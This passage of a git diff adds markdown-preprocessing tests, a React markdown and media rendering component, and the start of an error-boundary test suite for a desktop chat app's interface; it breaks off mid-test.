+    const input = 'See https://github.com/foo/bar**bold** for details.'
+
+    const output = preprocessMarkdown(input)
+
+    expect(output).toContain('<https://github.com/foo/bar>')
+    expect(output).toContain('**bold**')
+  })
+
+  it('keeps underscores and tildes inside autolinked url paths', () => {
+    const input = 'Docs at https://example.com/a_b/c~d/page'
+
+    const output = preprocessMarkdown(input)
+
+    expect(output).toContain('<https://example.com/a_b/c~d/page>')
+  })
+
+  it('handles a fenced block larger than V8 spread-argument limit', () => {
+    // A single huge code block (e.g. a logged minified bundle) used to throw
+    // `RangeError: Maximum call stack size exceeded` via `out.push(...lines)`.
+    const body = Array.from({ length: 200_000 }, (_, i) => `line ${i}`).join('\n')
+    const input = `\`\`\`js\n${body}\n\`\`\``
+
+    expect(() => preprocessMarkdown(input)).not.toThrow()
+  })
+
+  it('keeps $$<digit>$$ display math intact instead of escaping it as currency', () => {
+    const output = preprocessMarkdown('$$5x = 10$$')
+
+    expect(output).toContain('$$5x = 10$$')
+    expect(output).not.toContain('\\$')
+  })
+
+  it('keeps numeric inline math intact instead of escaping it as currency', () => {
+    const input = ['- The observed outcome might be $4$', '- Because $4\\in A$, event $A$ occurred'].join('\n')
+
+    expect(preprocessMarkdown(input)).toBe(input)
+  })
+
+  it.each(['$4$', '$2/3$', '$5x=10$', '$4xy$', '$10kg$'])('preserves balanced numeric inline math: %s', input => {
+    expect(preprocessMarkdown(input)).toBe(input)
+  })
+
+  it('does not mistake a numeric formula closer for a later price opener', () => {
+    expect(preprocessMarkdown('Probability is $2/3$ and fee is $7.')).toBe('Probability is $2/3$ and fee is \\$7.')
+    expect(preprocessMarkdown('$4$ and $10')).toBe('$4$ and \\$10')
+  })
+
+  it('keeps escaping currency ranges instead of treating them as inline math', () => {
+    expect(preprocessMarkdown('$5-$10')).toBe('\\$5-\\$10')
+    expect(preprocessMarkdown('$5 and $x$')).toBe('\\$5 and $x$')
+    expect(preprocessMarkdown('Costs $5 + tax; formula is $x$.')).toBe('Costs \\$5 + tax; formula is $x$.')
+    expect(preprocessMarkdown('Costs $5 = base rate; formula is $x$.')).toBe('Costs \\$5 = base rate; formula is $x$.')
+  })
+
+  it.each([
+    ['Costs $5; delta is $-x$.', 'Costs \\$5; delta is $-x$.'],
+    ['Costs $5; result is $(x+1)$.', 'Costs \\$5; result is $(x+1)$.'],
+    ['Costs $5; set is $[1,2]$.', 'Costs \\$5; set is $[1,2]$.']
+  ])('escapes a price before a later complete math span: %s', (input, expected) => {
+    expect(preprocessMarkdown(input)).toBe(expected)
+  })
+
+  it('keeps the existing currency escaping semantics', () => {
+    expect(preprocessMarkdown('$1,299 total')).toBe('\\$1,299 total')
+    expect(preprocessMarkdown('already \\$5')).toBe('already \\$5')
+    expect(preprocessMarkdown('\\\\$5')).toBe('\\\\\\$5')
+  })
+
+  it('escapes a price while preserving numeric math later in the same sentence', () => {
+    const input = 'Costs $5; outcome is $4\\in A$.'
+
+    expect(preprocessMarkdown(input)).toBe('Costs \\$5; outcome is $4\\in A$.')
+  })
+
+  it('normalizes multiline bracket display math with delimiter-only lines', () => {
+    const input = [
+      'Correct.',
+      '',
+      'Both paths reach the same intersection:',
+      '',
+      '\\[',
+      'P(B)\\cdot P(A\\mid B)',
+      '=',
+      'P(A)\\cdot P(B\\mid A)',
+      '\\]',
+      '',
+      'Now isolate $P(A\\mid B)$.'
+    ].join('\n')
+
+    const output = preprocessMarkdown(input)
+
+    expect(output).toContain('$$\nP(B)\\cdot P(A\\mid B)\n=\nP(A)\\cdot P(B\\mid A)\n$$')
+    expect(output).not.toContain('$$P(B)')
+  })
+
+  it('keeps display math inside its markdown container', () => {
+    const listInput = ['- \\[', '  P(A)', '  =', '  P(B)', '  \\]'].join('\n')
+    const listOutput = ['- $$', '  P(A)', '  =', '  P(B)', '  $$'].join('\n')
+
+    expect(preprocessMarkdown(listInput)).toBe(listOutput)
+    expect(preprocessMarkdown(['> \\[', '> P(A)', '>  \\]'].join('\n'))).toBe(['> $$', '> P(A)', '>  $$'].join('\n'))
+  })
+
+  it('rewrites double-backslash bracket math to dollar delimiters', () => {
+    const output = preprocessMarkdown('\\\\(x^2\\\\)')
+
+    expect(output).toContain('$x^2$')
+  })
+
+  it('rewrites [/math] and [/inline] tag pairs to dollar delimiters', () => {
+    expect(preprocessMarkdown('[/math]a+b[/math]')).toContain('$$a+b$$')
+    expect(preprocessMarkdown('[/inline]x[/inline]')).toContain('$x$')
+  })
+
+  it('escapes currency dollars in prose so they are not parsed as math', () => {
+    const output = preprocessMarkdown('$5 and $10')
+
+    expect(output).toContain('\\$5')
+    expect(output).toContain('\\$10')
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/markdown-text.tsx b/ui-desktop/src/components/assistant-ui/markdown-text.tsx
new file mode 100644
index 000000000..fc42a20a1
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/markdown-text.tsx
@@ -0,0 +1,642 @@
+'use client'
+
+import { TextMessagePartProvider, useMessagePartText } from '@assistant-ui/react'
+import {
+  type StreamdownTextComponents,
+  StreamdownTextPrimitive,
+  type SyntaxHighlighterProps,
+  tailBoundedRemend
+} from '@assistant-ui/react-streamdown'
+import type { code as streamdownCode } from '@streamdown/code'
+import { type ComponentProps, memo, useEffect, useMemo, useState } from 'react'
+
+import { ExpandableBlock } from '@/components/chat/expandable-block'
+import { PreviewAttachment } from '@/components/chat/preview-attachment'
+import { chunkByLines, SyntaxHighlighter } from '@/components/chat/shiki-highlighter'
+import { ZoomableImage } from '@/components/chat/zoomable-image'
+import { detectArtifact } from '@/lib/artifact-detect'
+import { normalizeExternalUrl, openExternalLink, PrettyLink } from '@/lib/external-link'
+import { createMemoizedMathPlugin } from '@/lib/katex-memo'
+import { parseMarkdownIntoBlocksCached } from '@/lib/markdown-blocks'
+import { preprocessMarkdown } from '@/lib/markdown-preprocess'
+import {
+  downloadGatewayMediaFile,
+  isInlineMediaSrc,
+  isRemoteGateway,
+  mediaExternalUrl,
+  mediaKind,
+  mediaName,
+  mediaPathFromMarkdownHref,
+  resolveMediaDisplaySrc,
+  resolveMediaPlaybackSrc
+} from '@/lib/media'
+import { previewTargetFromMarkdownHref } from '@/lib/preview-targets'
+import { sessionRefFromMarkdownHref } from '@/lib/session-refs'
+import { cn } from '@/lib/utils'
+
+import { ArtifactCard } from './artifact-card'
+import { SessionRefLink } from './directive-text'
+import { detectEmbed, extractAlert, MarkdownAlert, RichCodeBlock, UrlEmbed } from './embeds'
+
+// Math rendering plugin (KaTeX). Configured once at module scope — the
+// plugin is stateless beyond its internal cache so re-creating per-render
+// would needlessly thrash. We use a memoizing wrapper around rehype-katex
+// (see lib/katex-memo.ts) so that during streaming we re-katex only the
+// equations whose source actually changed since the last token. With the
+// stock @streamdown/math plugin every equation re-renders on every token,
+// which throttles UI updates badly for math-heavy responses; the memoized
+// plugin keeps the steady-state work proportional to "new equations
+// arriving" rather than "equations × tokens-per-second".
+//
+// `singleDollarTextMath: true` enables `$x^2$` for inline math (de-facto
+// LLM convention). The default false-setting only accepts `$$...$$`.
+const mathPlugin = createMemoizedMathPlugin({ singleDollarTextMath: true })
+
+// `@streamdown/code` statically imports ALL of shiki (every grammar + theme —
+// the single largest chunk in the renderer), so it must never sit on the
+// entry graph. Load it on first markdown mount and swap it into the plugin
+// table when it lands; until then fenced code renders through the
+// `SyntaxHighlighter` override's plain path (same output Shiki's own
+// `delay` fallback shows), so nothing flashes or reflows unexpectedly.
+type CodePlugin = typeof streamdownCode
+let codePluginCache: CodePlugin | null = null
+
+function useCodePlugin(): CodePlugin | null {
+  const [plugin, setPlugin] = useState(codePluginCache)
+
+  useEffect(() => {
+    if (plugin) {
+      return
+    }
+
+    let cancelled = false
+
+    void import('@streamdown/code').then(({ code }) => {
+      codePluginCache = code
+
+      if (!cancelled) {
+        setPlugin(code)
+      }
+    })
+
+    return () => {
+      cancelled = true
+    }
+  }, [plugin])
+
+  return plugin
+}
+
+// Replaces Streamdown's `parseIncompleteMarkdown` (full-text remend per
+// flush) with a tail-bounded repair. Must stay module-scope so the prop
+// identity is stable across renders.
+function preprocessWithTailRepair(text: string): string {
+  try {
+    return tailBoundedRemend(preprocessMarkdown(text))
+  } catch {
+    return text
+  }
+}
+
+function useOpenMediaFile(path: string) {
+  const [openFailed, setOpenFailed] = useState(false)
+
+  const open = () => {
+    if (window.clawcodexDesktop && isRemoteGateway()) {
+      setOpenFailed(false)
+      void downloadGatewayMediaFile(path).catch(() => setOpenFailed(true))
+    } else {
+      openExternalLink(mediaExternalUrl(path))
+    }
+  }
+
+  return { open, openFailed }
+}
+
+function OpenMediaFailedNote({ name }: { name: string }) {
+  return (
+    <span className="mt-1 block text-xs text-muted-foreground">
+      Couldn&apos;t fetch {name} from the gateway (missing, unreadable, or too large).
+    </span>
+  )
+}
+
+function OpenMediaButton({ kind, path }: { kind: 'audio' | 'video'; path: string }) {
+  const { open, openFailed } = useOpenMediaFile(path)
+
+  return (
+    <span className="block">
+      <button
+        className="mt-2 ref text-xs font-medium text-muted-foreground hover:text-foreground"
+        onClick={open}
+        type="button"
+      >
+        Open {kind} file
+      </button>
+      {openFailed && <OpenMediaFailedNote name={mediaName(path)} />}
+    </span>
+  )
+}
+
+function MediaAttachment({ path }: { path: string }) {
+  const [src, setSrc] = useState('')
+  const [failed, setFailed] = useState(false)
+  const { open, openFailed } = useOpenMediaFile(path)
+  const kind = mediaKind(path)
+  const name = mediaName(path)
+
+  useEffect(() => {
+    let cancelled = false
+    let objectUrl = ''
+
+    setFailed(false)
+    setSrc('')
+
+    if (kind === 'file') {
+      setFailed(true)
+
+      return () => {
+        cancelled = true
+      }
+    }
+
+    void resolveMediaPlaybackSrc(path)
+      .then(value => {
+        if (value.startsWith('blob:')) {
+          objectUrl = value
+        }
+
+        if (!cancelled) {
+          setSrc(value)
+        } else if (objectUrl) {
+          URL.revokeObjectURL(objectUrl)
+        }
+      })
+      .catch(() => {
+        if (!cancelled) {
+          setFailed(true)
+        }
+      })
+
+    return () => {
+      cancelled = true
+
+      if (objectUrl) {
+        URL.revokeObjectURL(objectUrl)
+      }
+    }
+  }, [kind, path])
+
+  if (kind === 'image' && src) {
+    return (
+      <span className="block">
+        <MarkdownImage alt={name} src={src} />
+      </span>
+    )
+  }
+
+  if (kind === 'audio' && src) {
+    return (
+      <span className="my-3 block max-w-md rounded-xl border border-(--ui-stroke-tertiary) bg-muted/35 p-3">
+        <span className="mb-2 block truncate text-xs font-medium text-muted-foreground">{name}</span>
+        <audio className="block w-full" controls onError={() => setFailed(true)} preload="metadata" src={src} />
+        {failed && <OpenMediaButton kind="audio" path={path} />}
+      </span>
+    )
+  }
+
+  if (kind === 'video' && src) {
+    return (
+      <span className="my-3 block max-w-2xl rounded-xl border border-(--ui-stroke-tertiary) bg-muted/35 p-3">
+        <span className="mb-2 block truncate text-xs font-medium text-muted-foreground">{name}</span>
+        <video
+          className="block max-h-112 w-full rounded-lg bg-black"
+          controls
+          onError={() => setFailed(true)}
+          src={src}
+        />
+        {failed && <OpenMediaButton kind="video" path={path} />}
+      </span>
+    )
+  }
+
+  return (
+    <span className="wrap-anywhere">
+      <a
+        className="ref wrap-anywhere"
+        href="#"
+        onClick={event => {
+          event.preventDefault()
+          open()
+        }}
+      >
+        {failed ? `Open ${name}` : `Loading ${name}...`}
+      </a>
+      {openFailed && <OpenMediaFailedNote name={name} />}
+    </span>
+  )
+}
+
+function childrenToText(children: unknown): string {
+  if (typeof children === 'string' || typeof children === 'number') {
+    return String(children).trim()
+  }
+
+  if (Array.isArray(children) && children.every(c => typeof c === 'string' || typeof c === 'number')) {
+    return children.join('').trim()
+  }
+
+  return ''
+}
+
+function MarkdownLink({ children, className, href, ...props }: ComponentProps<'a'>) {
+  const mediaPath = mediaPathFromMarkdownHref(href)
+
+  if (mediaPath) {
+    return <MediaAttachment path={mediaPath} />
+  }
+
+  const previewTarget = previewTargetFromMarkdownHref(href)
+
+  if (previewTarget) {
+    return <PreviewAttachment source="explicit-link" target={previewTarget} />
+  }
+
+  const sessionRef = sessionRefFromMarkdownHref(href)
+
+  if (sessionRef) {
+    return <SessionRefLink value={sessionRef} />
+  }
+
+  const target = href ? normalizeExternalUrl(href) : href
+
+  if (!target || !/^https?:\/\//i.test(target)) {
+    return (
+      <a
+        className={cn('ref wrap-anywhere', className)}
+        href={href}
+        rel="noopener noreferrer"
+        target="_blank"
+        {...props}
+      >
+        {children}
+      </a>
+    )
+  }
+
+  const text = childrenToText(children)
+
+  // Bare autolink → inline rich embed when a provider matches. Labeled links
+  // (`[watch](url)`) stay plain. Desktop only (webview / iframe renderers).
+  if (window.clawcodexDesktop && text && normalizeExternalUrl(text) === target) {
+    const embed = detectEmbed(target)
+
+    if (embed) {
+      return <UrlEmbed descriptor={embed} />
+    }
+  }
+
+  const fallbackLabel = text && normalizeExternalUrl(text) !== target ? text : undefined
+
+  return (
+    <PrettyLink className={cn('wrap-anywhere', className)} fallbackLabel={fallbackLabel} href={target} {...props} />
+  )
+}
+
+// Generated/inline media often arrives as image markdown — `![clip](clip.mp4)`.
+// A raw <img> with a video/audio source renders a broken-image icon (the file is
+// valid, the browser just can't paint it as an image), so route those sources to
+// MediaAttachment, which picks the right <video>/<audio> element (streaming
+// protocol + open-externally fallback) by media kind. Detection is
+// extension-based via mediaKind(); an extension-less/data/blob video URL still
+// resolves to 'file' and falls through to the image path as before.
+//
+// This is split from the image path because that path is built on hooks: a
+// conditional return inside it would have to sit after every hook call, which
+// would still fire an image resolve for media we never render as an image.
+export function MarkdownImage(props: ComponentProps<'img'>) {
+  const rawSrc = typeof props.src === 'string' ? props.src : ''
+  const kind = rawSrc ? mediaKind(rawSrc) : 'file'
+
+  if (kind === 'video' || kind === 'audio') {
+    return <MediaAttachment path={rawSrc} />
+  }
+
+  return <MarkdownImageContent {...props} />
+}
+
+function MarkdownImageContent({ className, src, alt, ...props }: ComponentProps<'img'>) {
+  const rawSrc = typeof src === 'string' ? src : ''
+  const [resolvedSrc, setResolvedSrc] = useState(() => (rawSrc && isInlineMediaSrc(rawSrc) ? rawSrc : ''))
+  const [failed, setFailed] = useState(false)
+  const { open, openFailed } = useOpenMediaFile(rawSrc)
+  const name = mediaName(rawSrc || String(alt || 'image'))
+
+  useEffect(() => {
+    let cancelled = false
+
+    setFailed(false)
+    setResolvedSrc(rawSrc && isInlineMediaSrc(rawSrc) ? rawSrc : '')
+
+    if (!rawSrc || isInlineMediaSrc(rawSrc)) {
+      return () => {
+        cancelled = true
+      }
+    }
+
+    void resolveMediaDisplaySrc(rawSrc)
+      .then(value => {
+        if (!cancelled) {
+          setResolvedSrc(value)
+        }
+      })
+      .catch(() => {
+        if (!cancelled) {
+          setFailed(true)
+        }
+      })
+
+    return () => {
+      cancelled = true
+    }
+  }, [rawSrc])
+
+  if (!rawSrc) {
+    return null
+  }
+
+  if (failed) {
+    return (
+      <span className="my-2 block text-sm text-muted-foreground">
+        Couldn&apos;t load {name}.{' '}
+        <button className="ref font-medium text-foreground" onClick={open} type="button">
+          Open image
+        </button>
+        {openFailed && <OpenMediaFailedNote name={name} />}
+      </span>
+    )
+  }
+
+  if (!resolvedSrc) {
+    return <span className="my-2 block text-sm text-muted-foreground">Loading {name}...</span>
+  }
+
+  // The width cap belongs on the container, not the <img>: a percentage
+  // max-width resolves to none while the container measures its fit-content
+  // width, so the box overshoots the rendered image and strands the download
+  // button — which anchors to the container — out in the margin.
+  return (
+    <ZoomableImage
+      alt={alt}
+      className={cn(
+        'm-0 block h-auto w-auto max-h-(--image-preview-height) max-w-full rounded-lg object-contain shadow-[0_0.0625rem_0.125rem_color-mix(in_srgb,#000_4%,transparent),0_0.625rem_1.5rem_color-mix(in_srgb,#000_5%,transparent)]',
+        className
+      )}
+      containerClassName="my-2 block w-fit max-w-[min(100%,var(--image-preview-max-width))]"
+      slot="aui_markdown-image"
+      src={resolvedSrc}
+      {...props}
+    />
+  )
+}
+
+interface MarkdownTextSurfaceProps {
+  containerClassName?: string
+  containerProps?: ComponentProps<'div'>
+  defer?: boolean
+  /** Disable artifact-card promotion for fenced blocks (reasoning text — a
+   *  model's scratchpad draft must not register artifact versions). */
+  disableArtifacts?: boolean
+}
+
+// Headings shrink to chat scale rather than the prose default (h1≈xl). Kept
+// table-driven so adding/tweaking levels is one row.
+const HEADING_SIZES: Record<'h1' | 'h2' | 'h3' | 'h4', string> = {
+  h1: 'text-[1rem] tracking-tight',
+  h2: 'text-[0.9375rem] tracking-tight',
+  h3: 'text-[0.875rem]',
+  h4: 'text-[0.8125rem]'
+}
+
+const MARKDOWN_CONTAINER_CLASS_NAME = cn(
+  'aui-md prose w-full max-w-none overflow-hidden text-[length:var(--conversation-text-font-size)] leading-(--dt-line-height) text-foreground',
+  'prose-p:leading-(--dt-line-height) prose-li:leading-(--dt-line-height)',
+  'prose-headings:text-foreground prose-strong:text-foreground',
+  'prose-a:break-words prose-p:[overflow-wrap:anywhere]',
+  'prose-li:marker:text-muted-foreground/70',
+  'prose-code:rounded-[0.25rem] prose-code:px-[0.1875rem] prose-code:py-px prose-code:font-mono prose-code:text-[0.9em] prose-code:font-normal prose-code:before:content-none prose-code:after:content-none',
+  '[&>*:first-child]:mt-0 [&>*:last-child]:mb-0 [&>*+*]:mt-(--paragraph-gap)'
+)
+
+const MAX_MARKDOWN_CHARS = 200_000
+
+function HugeTextFallback({ containerClassName, text }: { containerClassName?: string; text: string }) {
+  const chunks = useMemo(() => chunkByLines(text, 200), [text])
+
+  return (
+    <div
+      className={cn(
+        'aui-md w-full max-w-none overflow-hidden rounded-[0.625rem] border border-(--ui-stroke-tertiary) font-mono text-[0.7rem] leading-relaxed text-foreground/90',
+        containerClassName
+      )}
+    >
+      <ExpandableBlock className="p-2">
+        {chunks.map((chunk, index) => (
+          <div
+            className="[content-visibility:auto]"
+            key={index}
+            style={{ containIntrinsicSize: `auto ${chunk.lines * 16}px` }}
+          >
+            {chunk.text}
+          </div>
+        ))}
+      </ExpandableBlock>
+    </div>
+  )
+}
+
+function MarkdownTextSurface({
+  containerClassName,
+  containerProps,
+  defer,
+  disableArtifacts
+}: MarkdownTextSurfaceProps) {
+  const { status, text } = useMessagePartText()
+  const isStreaming = status.type === 'running'
+
+  // Keep code parsing enabled while streaming so incomplete fenced blocks still
+  // render as code cards. The expensive Shiki pass is deferred by
+  // `SyntaxHighlighter` below when `isStreaming` is true, and the code plugin
+  // itself arrives async (useCodePlugin) so shiki never blocks cold start.
+  const code = useCodePlugin()
+  const plugins = useMemo(() => (code ? { math: mathPlugin, code } : { math: mathPlugin }), [code])
+
+  const components = useMemo(
+    () =>
+      ({
+        h1: ({ className, ...props }: ComponentProps<'h1'>) => (
+          <h1 className={cn('my-1 font-semibold', HEADING_SIZES.h1, className)} {...props} />
+        ),
+        h2: ({ className, ...props }: ComponentProps<'h2'>) => (
+          <h2 className={cn('my-1 font-semibold', HEADING_SIZES.h2, className)} {...props} />
+        ),
+        h3: ({ className, ...props }: ComponentProps<'h3'>) => (
+          <h3 className={cn('my-1 font-semibold', HEADING_SIZES.h3, className)} {...props} />
+        ),
+        h4: ({ className, ...props }: ComponentProps<'h4'>) => (
+          <h4 className={cn('my-1 font-semibold', HEADING_SIZES.h4, className)} {...props} />
+        ),
+        p: ({ className, ...props }: ComponentProps<'p'>) => (
+          // Vertical rhythm is owned by styles.css (`--paragraph-gap`), which
+          // must out-specify Tailwind Typography's `prose` margins — so no
+          // `my-*` here on purpose.
+          <p className={cn('wrap-anywhere leading-(--dt-line-height)', className)} {...props} />
+        ),
+        a: MarkdownLink,
+        // Inline code must not vote when an ancestor resolves `dir="auto"`
+        // (HTML's algorithm skips descendants that carry their own dir),
+        // mirroring the CSS isolate that already keeps it out of the
+        // plaintext scan. Fenced code never reaches this override; it goes
+        // through the code plugin's CodeCard path.
+        inlineCode: ({ className, ...props }: ComponentProps<'code'>) => (
+          <code className={className} dir="ltr" {...props} />
+        ),
+        // `---` as quiet spacing, not a heavy full-width rule.
+        hr: (_props: ComponentProps<'hr'>) => <div aria-hidden className="my-3" />,
+        // Lists and blockquotes have chrome that sits *beside* the text
+        // (markers, the quote border), and that side is driven by the CSS
+        // `direction` of the box, which `unicode-bidi: plaintext` never
+        // touches — an RTL list otherwise renders its numbers stranded at
+        // the far left. `dir="auto"` lets the browser resolve the box
+        // direction from content; the plaintext rules in styles.css keep
+        // owning per-line text direction. Inline code carries `dir="ltr"`
+        // (see the `code` override) so it doesn't vote here either, same
+        // contract as the CSS isolate.
+        // A `> [!NOTE]`/`[!WARNING]`/... blockquote renders as a GFM alert
+        // callout; everything else stays a plain quote.
+        blockquote: ({ children, className, ...props }: ComponentProps<'blockquote'>) => {
+          const alert = extractAlert(children)
+
+          if (alert) {
+            return <MarkdownAlert type={alert.type}>{alert.body}</MarkdownAlert>
+          }
+
+          return (
+            <blockquote
+              className={cn('border-s-2 border-(--ui-stroke-tertiary) ps-3 text-muted-foreground italic', className)}
+              dir="auto"
+              {...props}
+            >
+              {children}
+            </blockquote>
+          )
+        },
+        ul: ({ className, ...props }: ComponentProps<'ul'>) => (
+          <ul className={cn('my-1 gap-0', className)} dir="auto" {...props} />
+        ),
+        ol: ({ className, ...props }: ComponentProps<'ol'>) => (
+          <ol className={cn('my-1 gap-0', className)} dir="auto" {...props} />
+        ),
+        li: ({ className, ...props }: ComponentProps<'li'>) => (
+          <li className={cn('leading-(--dt-line-height)', className)} {...props} />
+        ),
+        table: ({ className, ...props }: ComponentProps<'table'>) => (
+          <div className="aui-md-table my-2 max-w-full overflow-x-auto rounded-[0.375rem] border border-(--ui-stroke-tertiary)">
+            <table
+              className={cn(
+                'm-0 w-full min-w-[18rem] border-collapse text-[0.8125rem] [&_tr]:border-b [&_tr]:border-(--ui-stroke-tertiary) last:[&_tr]:border-0',
+                className
+              )}
+              {...props}
+            />
+          </div>
+        ),
+        thead: ({ className, ...props }: ComponentProps<'thead'>) => (
+          <thead className={cn('m-0 bg-muted/35 text-muted-foreground', className)} {...props} />
+        ),
+        th: ({ className, ...props }: ComponentProps<'th'>) => (
+          <th
+            className={cn(
+              'whitespace-nowrap px-2.5 py-1.5 text-left align-middle text-[0.75rem] font-medium text-muted-foreground',
+              className
+            )}
+            {...props}
+          />
+        ),
+        td: ({ className, ...props }: ComponentProps<'td'>) => (
+          <td className={cn('px-2.5 py-1.5 align-top text-[0.8125rem] leading-snug', className)} {...props} />
+        ),
+        img: MarkdownImage,
+        // ```mermaid / ```svg fences route to their lazy renderers; substantial
+        // html/svg/code fences promote to an artifact card that opens in the
+        // right rail; every other language falls back to the Shiki-highlighted
+        // code block.
+        SyntaxHighlighter: (props: SyntaxHighlighterProps) => {
+          const artifact = disableArtifacts ? null : detectArtifact(props.language, props.code)
+
+          if (artifact) {
+            return <ArtifactCard code={props.code} detection={artifact} streaming={isStreaming} />
+          }
+
+          return (
+            <RichCodeBlock
+              code={props.code}
+              fallback={<SyntaxHighlighter {...props} defer={isStreaming} />}
+              language={props.language}
+              streaming={isStreaming}
+            />
+          )
+        }
+      }) as StreamdownTextComponents,
+    [disableArtifacts, isStreaming]
+  )
+
+  if (text.length > MAX_MARKDOWN_CHARS) {
+    return <HugeTextFallback containerClassName={containerClassName} text={text} />
+  }
+
+  return (
+    <StreamdownTextPrimitive
+      components={components}
+      containerClassName={cn(MARKDOWN_CONTAINER_CLASS_NAME, containerClassName)}
+      containerProps={containerProps}
+      defer={defer}
+      lineNumbers={false}
+      mode="streaming"
+      // Incomplete-markdown repair runs in preprocessWithTailRepair on the
+      // full accumulated text; the built-in tail-bounded remend is disabled
+      // because a custom parseMarkdownIntoBlocksFn is supplied, and
+      // parseIncompleteMarkdown stays false to avoid a second full-text
+      // remend pass.
+      parseIncompleteMarkdown={false}
+      parseMarkdownIntoBlocksFn={parseMarkdownIntoBlocksCached}
+      plugins={plugins}
+      preprocess={preprocessWithTailRepair}
+    />
+  )
+}
+
+interface MarkdownTextContentProps extends MarkdownTextSurfaceProps {
+  isRunning: boolean
+  text: string
+}
+
+export function MarkdownTextContent({ isRunning, text, ...surfaceProps }: MarkdownTextContentProps) {
+  // No `smooth` on purpose — same as the assistant answer. `TextMessagePartProvider`
+  // mints a fresh part object on every `text` change, and useSmooth resets its
+  // reveal to empty whenever the part identity changes, so a smoothed reasoning
+  // stream re-types from the first character on every delta (the flash). Token-
+  // streaming reasoners (R1/Qwen/GLM/Claude thinking) hit it hardest; GPT-5's
+  // coarse summary updates too rarely to notice. Plain append matches the answer.
+  return (
+    <TextMessagePartProvider isRunning={isRunning} text={text}>
+      <MarkdownTextSurface defer {...surfaceProps} />
+    </TextMessagePartProvider>
+  )
+}
+
+const MarkdownTextImpl = () => {
+  return <MarkdownTextSurface defer />
+}
+
+export const MarkdownText = memo(MarkdownTextImpl)
diff --git a/ui-desktop/src/components/assistant-ui/message-render-boundary.test.tsx b/ui-desktop/src/components/assistant-ui/message-render-boundary.test.tsx
new file mode 100644
index 000000000..e9dd8ee7d
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/message-render-boundary.test.tsx
@@ -0,0 +1,270 @@
+import { act, cleanup, render, screen } from '@testing-library/react'
+import { Component, type ReactNode } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { MessageRenderBoundary } from './message-render-boundary'
+
+afterEach(() => {
+  cleanup()
+  vi.useRealTimers()
+  vi.restoreAllMocks()
+})
+
+function Boom({ error }: { error: Error | null }): null {
+  if (error) {
+    throw error
+  }
+
+  return null
+}
+
+const lookupError = new Error('useClientLookup: Index 2 out of bounds (length: 2)')
+
+const outerCaught: Error[] = []
+
+// Records what propagates past MessageRenderBoundary, so the tests can tell
+// a re-thrown error apart from a swallowed one.
+class RecordingBoundary extends Component<{ children: ReactNode }, { error: Error | null }> {
+  state: { error: Error | null } = { error: null }
+
+  static getDerivedStateFromError(error: Error) {
+    return { error }
+  }
+
+  componentDidCatch(error: Error) {
+    outerCaught.push(error)
+  }
+
+  render() {
+    return this.state.error ? null : this.props.children
+  }
+}
+
+const lookupErrors = [
+  ['useClientLookup', lookupError],
+  ['tapClientLookup', new Error('tapClientLookup: Index 2 out of bounds (length: 2)')],
+  ['tapClientResource', new Error('tapClientResource: Index 2 out of bounds (length: 2)')]
+] as const
+
+describe('MessageRenderBoundary', () => {
+  it('renders children when nothing throws', () => {
+    render(
+      <MessageRenderBoundary resetKey="a">
+        <div>content</div>
+      </MessageRenderBoundary>
+    )
+
+    expect(screen.getByText('content')).toBeTruthy()
+  })
+
+  it.each(lookupErrors)('swallows the transient %s out-of-bounds store race', (_label, error) => {
+    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+    const { container } = render(
+      <MessageRenderBoundary resetKey="a">
+        <Boom error={error} />
+      </MessageRenderBoundary>
+    )
+
+    expect(container.innerHTML).toBe('')
+    spy.mockRestore()
+  })
+
+  it('recovers on the next consistent snapshot when resetKey changes', () => {
+    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+    const { rerender } = render(
+      <MessageRenderBoundary resetKey="a">
+        <Boom error={lookupError} />
+      </MessageRenderBoundary>
+    )
+
+    rerender(
+      <MessageRenderBoundary resetKey="b">
+        <Boom error={null} />
+      </MessageRenderBoundary>
+    )
+
+    rerender(
+      <MessageRenderBoundary resetKey="b">
+        <div>recovered</div>
+      </MessageRenderBoundary>
+    )
+
+    expect(screen.getByText('recovered')).toBeTruthy()
+    spy.mockRestore()
+  })
+
+  it('re-throws unrelated errors so real bugs still surface', () => {
+    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+    expect(() =>
+      render(
+        <MessageRenderBoundary resetKey="a">
+          <Boom error={new Error('genuine render bug')} />
+        </MessageRenderBoundary>
+      )
+    ).toThrow('genuine render bug')
+
+    spy.mockRestore()
+  })
+
+  it('recovers on the retry timer without a resetKey change', () => {
+    // The mid-turn race: the message list shrinks and regrows while
+    // ids/roles/count stay stable, so resetKey never changes. The boundary
+    // must self-retry on a timer instead of rendering null for the rest of
+    // the turn.
+    vi.useFakeTimers()
+    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+    let failing = true
+
+    function MaybeBoom() {
+      if (failing) {
+        throw new Error('useClientLookup: index 3 out of bounds')
+      }
+
+      return <div>turn content</div>
+    }
+
+    render(
+      <MessageRenderBoundary resetKey="0:m1:user">
+        <MaybeBoom />
+      </MessageRenderBoundary>
+    )
+
+    expect(screen.queryByText('turn content')).toBeNull()
+
+    failing = false
+
+    act(() => {
+      vi.advanceTimersByTime(0)
+    })
+
+    // Recovered through the retry timer alone; resetKey never changed.
+    expect(screen.getByText('turn content')).toBeTruthy()
+    spy.mockRestore()
+  })
+
+  it('stops retrying after the transient retry cap', () => {
+    // If the lookup stays out of bounds the boundary must give up instead of
+    // looping a setState/render cycle forever: initial render plus 5 retries,
+    // then it stays null and arms no further timer.
+    vi.useFakeTimers()
+    const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
+
+    let attempts = 0
+
+    function AlwaysBoom(): null {
+      attempts += 1
+      throw lookupError
+    }
+
+    const { container } = render(
+      <MessageRenderBoundary resetKey="a">
+        <AlwaysBoom />
+      </MessageRenderBoundary>
+    )
+
+    // React dev mode replays a failed render once per attempt, and an error
+    // during the initial mount gets an extra sync retry from the root, so
+    // measure the per-attempt cost from the first retry instead of guessing.
+    const mountAttempts = attempts
+
+    act(() => {
+      vi.advanceTimersByTime(0)
+    })
+
+    const perRetry = attempts - mountAttempts
+
+    for (let retry = 0; retry < 4; retry += 1) {
+      act(() => {
+        vi.advanceTimersByTime(0)
+      })
+    }
+
+    // Initial render plus 5 retries, then the boundary gives up: it stays
+    // null and arms no further timer.
